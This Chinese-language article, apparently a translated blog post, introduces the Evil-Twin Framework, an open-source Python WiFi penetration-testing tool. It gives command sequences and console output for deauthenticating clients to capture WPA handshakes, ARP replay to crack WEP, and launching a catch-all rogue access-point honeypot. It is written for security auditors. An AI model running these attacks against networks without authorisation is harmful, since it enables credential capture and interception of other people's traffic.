越来越多的设备通过无线方式连接到互联网,并且 WiFi 接入点的广泛可用性为攻击者利用用户提供了许多机会。通过欺骗用户连接到恶意接入点,黑客可以完全控制用户的网络连接,从而允许他们嗅探和更改流量、将用户重定向到恶意站点,并在网络上发起其他攻击。
为了保护用户并教导他们避免有风险的在线行为,安全审计员和研究人员必须评估用户的安全实践,并了解他们连接到 WiFi 接入点的原因,而没有确信这些接入点是安全的。有大量的工具可以进行 WiFi 审计,但没有一个工具可以测试许多不同的攻击场景,而且这些工具之间也没有很好地集成。
Evil-Twin 框架 (ETF) 旨在通过使审计员能够检查多种场景并集成多种工具来解决 WiFi 审计过程中的这些问题。本文介绍了该框架及其功能,然后提供了一些示例来展示如何使用它。
ETF 架构
ETF 框架是用 Python 编写的,因为这种开发语言非常易于阅读和贡献。此外,ETF 的许多库(例如 Scapy)已经为 Python 开发,使其易于用于 ETF。
ETF 架构(图 1)分为不同的模块,这些模块相互交互。框架的设置都写在一个配置文件中。用户可以通过用户界面通过 ConfigurationManager 类来验证和编辑设置。其他模块只能读取这些设置并根据它们运行。

图 1:Evil-Twin 框架架构
ETF 支持多个与框架交互的用户界面。当前默认界面是一个交互式控制台,类似于 Metasploit 上的控制台。图形用户界面 (GUI) 和命令行界面 (CLI) 正在开发中,供桌面/浏览器使用,移动界面将来也可能成为一种选择。用户可以使用交互式控制台(最终也可以使用 GUI)编辑配置文件中的设置。用户界面可以与框架中存在的每个其他模块进行交互。
WiFi 模块 (AirCommunicator) 的构建旨在支持广泛的 WiFi 功能和攻击。该框架确定了 Wi-Fi 通信的三个基本支柱:数据包嗅探、自定义数据包注入和 接入点创建。三个主要的 WiFi 通信模块是 AirScanner、AirInjector 和 AirHost,它们分别负责数据包嗅探、数据包注入和接入点创建。这三个类都封装在主 WiFi 模块 AirCommunicator 中,AirCommunicator 在启动服务之前读取配置文件。任何类型的 WiFi 攻击都可以使用这些核心功能中的一个或多个来构建。
为了实现中间人 (MITM) 攻击(这是攻击 WiFi 客户端的常用方法),该框架集成了一个名为 ETFITM (Evil-Twin Framework-in-the-Middle) 的模块。该模块负责创建 Web 代理,用于拦截和操纵 HTTP/HTTPS 流量。
还有许多其他工具可以利用 ETF 创建的 MITM 位置。通过其可扩展性,ETF 可以支持它们——而且,您不必单独调用它们,只需通过扩展 Spawner 类即可将这些工具添加到框架中。这使开发人员或安全审计员能够从框架内使用预配置的参数字符串调用程序。
扩展框架的另一种方式是通过插件。插件分为两类:WiFi 插件和 MITM 插件。MITM 插件是在 MITM 代理处于活动状态时可以运行的脚本。代理将 HTTP(S) 请求和响应传递给插件,插件可以在其中记录或操纵它们。WiFi 插件遵循更复杂的执行流程,但仍然向希望开发和使用自己的插件的贡献者公开相当简单的 API。WiFi 插件可以进一步分为三个类别,每个类别对应一个核心 WiFi 通信模块。
每个核心模块都有某些事件会触发插件的执行。例如,AirScanner 定义了三个事件,可以为这些事件编程响应。这些事件通常对应于服务启动运行前的设置阶段、服务运行中的中间执行阶段以及服务结束后拆卸或清理阶段。由于 Python 允许多重继承,因此一个插件可以子类化多个插件类。
上面的图 1 总结了框架的架构。指向 ConfigurationManager 的线表示模块从中读取信息,指向它的线表示模块可以写入/编辑配置。
使用 Evil-Twin 框架的示例
ETF 可以通过多种方式对 WiFi 网络安全进行渗透测试,或提高最终用户对 WiFi 安全的意识。以下示例描述了框架的一些渗透测试功能,例如接入点和客户端检测、WPA 和 WEP 接入点攻击以及恶意双胞胎接入点创建。
这些示例是使用 ETF 和允许 WiFi 流量捕获的 WiFi 网卡设计的。它们还使用以下 ETF 设置命令的缩写
- APS 接入点 SSID
- APB 接入点 BSSID
- APC 接入点信道
- CM 客户端 MAC 地址
在实际测试场景中,请务必将这些缩写替换为正确的信息。
在解除身份验证攻击后捕获 WPA 4 次握手
此场景(图 2)考虑了两个方面:解除身份验证攻击和捕获 4 次 WPA 握手的可能性。该场景从运行启用了 WPA/WPA2 的接入点和一个连接的客户端设备(在本例中为智能手机)开始。目标是使用通用解除身份验证攻击来解除客户端的身份验证,然后在客户端尝试重新连接时捕获 WPA 握手。重新连接将在解除身份验证后立即手动完成。

图 2:在解除身份验证攻击后捕获 WPA 握手的场景
此示例中考虑的是 ETF 的可靠性。目标是找出工具是否可以持续捕获 WPA 握手。该场景将使用每个工具执行多次,以检查其在捕获 WPA 握手时的可靠性。
使用 ETF 捕获 WPA 握手的方法不止一种。一种方法是结合使用 AirScanner 和 AirInjector 模块;另一种方法是仅使用 AirInjector。以下场景结合使用了这两个模块。
ETF 启动 AirScanner 模块并分析 IEEE 802.11 帧以查找 WPA 握手。然后,AirInjector 可以发起解除身份验证攻击以强制重新连接。必须执行以下步骤才能在 ETF 上完成此操作
- 进入 AirScanner 配置模式:config airscanner
- 配置 AirScanner 不跳信道:config airscanner
- 将信道设置为嗅探接入点信道 (APC) 上的流量:set fixed_sniffing_channel = <APC>
- 使用 CredentialSniffer 插件启动 AirScanner 模块:start airscanner with credentialsniffer
- 从嗅探到的接入点列表中添加目标接入点 BSSID (APS):add aps where ssid = <APS>
- 启动 AirInjector,默认情况下启动解除身份验证攻击:start airinjector
这组简单的命令使 ETF 能够在每次测试运行中执行有效且成功的解除身份验证攻击。ETF 还可以在每次测试运行中捕获 WPA 握手。以下代码使观察 ETF 的成功执行成为可能。
███████╗████████╗███████╗
██╔════╝╚══██╔══╝██╔════╝
█████╗ ██║ █████╗
██╔══╝ ██║ ██╔══╝
███████╗ ██║ ██║
╚══════╝ ╚═╝ ╚═╝
[+] Do you want to load an older session? [Y/n]: n
[+] Creating new temporary session on 02/08/2018
[+] Enter the desired session name:
ETF[etf/aircommunicator/]::> config airscanner
ETF[etf/aircommunicator/airscanner]::> listargs
sniffing_interface = wlan1; (var)
probes = True; (var)
beacons = True; (var)
hop_channels = false; (var)
fixed_sniffing_channel = 11; (var)
ETF[etf/aircommunicator/airscanner]::> start airscanner with
arpreplayer caffelatte credentialsniffer packetlogger selfishwifi
ETF[etf/aircommunicator/airscanner]::> start airscanner with credentialsniffer
[+] Successfully added credentialsniffer plugin.
[+] Starting packet sniffer on interface 'wlan1'
[+] Set fixed channel to 11
ETF[etf/aircommunicator/airscanner]::> add aps where ssid = CrackWPA
ETF[etf/aircommunicator/airscanner]::> start airinjector
ETF[etf/aircommunicator/airscanner]::> [+] Starting deauthentication attack
- 1000 bursts of 1 packets
- 1 different packets
[+] Injection attacks finished executing.
[+] Starting post injection methods
[+] Post injection methods finished
[+] WPA Handshake found for client '70:3e:ac:bb:78:64' and network 'CrackWPA'
发起 ARP 重放攻击并破解 WEP 网络
下一个场景(图 3)还将重点关注 地址解析协议 (ARP) 重放攻击的效率以及捕获包含初始化向量 (IV) 的 WEP 数据包的速度。同一个网络可能需要捕获不同数量的 IV 才能被破解,因此此场景的限制为 50,000 个 IV。如果在第一次测试中以少于 50,000 个 IV 破解了网络,则该数字将成为网络后续测试的新限制。要使用的破解工具将是 aircrack-ng。
测试场景从使用 WEP 加密的接入点和一个知道密钥的离线客户端开始——用于测试目的的密钥是 12345,但它可以是更大更复杂的密钥。一旦客户端连接到 WEP 接入点,它将发出一个免费 ARP 数据包;这是要捕获和重放的数据包。测试在捕获到包含 IV 的数据包的限制后结束。

图 3:在解除身份验证攻击后捕获 WPA 握手的场景
ETF 使用 Python 的 Scapy 库进行数据包嗅探和注入。为了最大限度地减少 Scapy 中已知的性能问题,ETF 调整了其一些底层库,以显着加快数据包注入速度。对于此特定场景,ETF 使用 tcpdump 作为后台进程,而不是 Scapy,以实现更高效的数据包嗅探,而 Scapy 用于识别加密的 ARP 数据包。
此场景需要执行以下命令和操作才能在 ETF 上执行
- 进入 AirScanner 配置模式:config airscanner
- 配置 AirScanner 不跳信道:set hop_channels = false
- 将信道设置为嗅探接入点信道 (APC) 上的流量:set fixed_sniffing_channel = <APC>
- 进入 ARPReplayer 插件配置模式:config arpreplayer
- 设置 WEP 网络的 目标接入点 BSSID (APB):set target_ap_bssid <APB>
- 使用 ARPReplayer 插件启动 AirScanner 模块:start airscanner with arpreplayer
执行这些命令后,ETF 正确识别出加密的 ARP 数据包,然后成功执行 ARP 重放攻击,从而破解了网络。
启动全方位蜜罐
图 4 中的场景创建了多个具有相同 SSID 的接入点。此技术发现探测到但超出范围的网络的加密类型。通过启动具有所有安全设置的多个接入点,客户端将自动连接到与本地缓存的接入点信息的安全设置相匹配的接入点。

图 4:在解除身份验证攻击后捕获 WPA 握手的场景
使用 ETF,可以配置 hostapd 配置文件,然后在后台启动该程序。Hostapd 通过配置虚拟接口支持在同一无线网卡上启动多个接入点,并且由于它支持所有类型的安全配置,因此可以设置一个完整的全方位蜜罐。对于 WEP 和 WPA(2)-PSK 网络,使用默认密码,对于 WPA(2)-EAP,配置“接受所有”策略。
对于此场景,必须在 ETF 上执行以下命令和操作
- 进入 APLauncher 配置模式:config aplauncher
- 设置所需的接入点 SSID (APS):set ssid = <APS>
- 将 APLauncher 配置为全方位蜜罐:set catch_all_honeypot = true
- 启动 AirHost 模块:start airhost
使用这些命令,ETF 可以启动一个完整的全方位蜜罐,其中包含所有类型的安全配置。ETF 还自动启动 DHCP 和 DNS 服务器,使客户端能够保持连接到互联网。ETF 提供了一个更好、更快、更完整的解决方案来创建全方位蜜罐。以下代码使观察 ETF 的成功执行成为可能。
███████╗████████╗███████╗
██╔════╝╚══██╔══╝██╔════╝
█████╗ ██║ █████╗
██╔══╝ ██║ ██╔══╝
███████╗ ██║ ██║
╚══════╝ ╚═╝ ╚═╝
[+] Do you want to load an older session? [Y/n]: n
[+] Creating ne´,cxzw temporary session on 03/08/2018
[+] Enter the desired session name:
ETF[etf/aircommunicator/]::> config aplauncher
ETF[etf/aircommunicator/airhost/aplauncher]::> setconf ssid CatchMe
ssid = CatchMe
ETF[etf/aircommunicator/airhost/aplauncher]::> setconf catch_all_honeypot true
catch_all_honeypot = true
ETF[etf/aircommunicator/airhost/aplauncher]::> start airhost
[+] Killing already started processes and restarting network services
[+] Stopping dnsmasq and hostapd services
[+] Access Point stopped...
[+] Running airhost plugins pre_start
[+] Starting hostapd background process
[+] Starting dnsmasq service
[+] Running airhost plugins post_start
[+] Access Point launched successfully
[+] Starting dnsmasq service
结论和未来工作
这些场景使用常见且广为人知的攻击来帮助验证 ETF 在测试 WiFi 网络和客户端方面的能力。结果还验证了框架的架构能够在其之上开发新的攻击向量和功能,同时利用平台的现有功能。这应该会加速新的 WiFi 渗透测试工具的开发,因为很多代码已经编写完成。此外,互补的 WiFi 技术都集成在一个工具中,这将使 WiFi 渗透测试更简单、更高效。
ETF 的目标不是取代现有工具,而是补充它们,并在安全审计员进行 WiFi 渗透测试和提高用户意识时提供更广泛的选择。
ETF 是一个开源项目,可在 GitHub 上获取,欢迎社区为其开发做出贡献。以下是一些您可以提供帮助的方式。
当前 WiFi 渗透测试的局限性之一是无法记录测试期间的重要事件。这使得报告已识别的漏洞既更加困难,也降低了准确性。该框架可以实现一个记录器,每个类都可以访问该记录器以创建渗透测试会话报告。
ETF 工具的功能涵盖了 WiFi 渗透测试的许多方面。一方面,它促进了 WiFi 侦察、漏洞发现和攻击阶段。另一方面,它没有提供方便报告阶段的功能。添加会话的概念和会话报告功能(例如记录会话期间的重要事件)将大大提高该工具在实际渗透测试场景中的价值。
另一个有价值的贡献是扩展框架以促进 WiFi 模糊测试。IEEE 802.11 协议非常复杂,考虑到客户端和接入点端都有多种实现方式,可以肯定这些实现方式包含错误甚至安全漏洞。可以通过模糊测试 IEEE 802.11 协议帧来发现这些错误。由于 Scapy 允许自定义数据包创建和注入,因此可以通过它实现模糊器。
评论已关闭。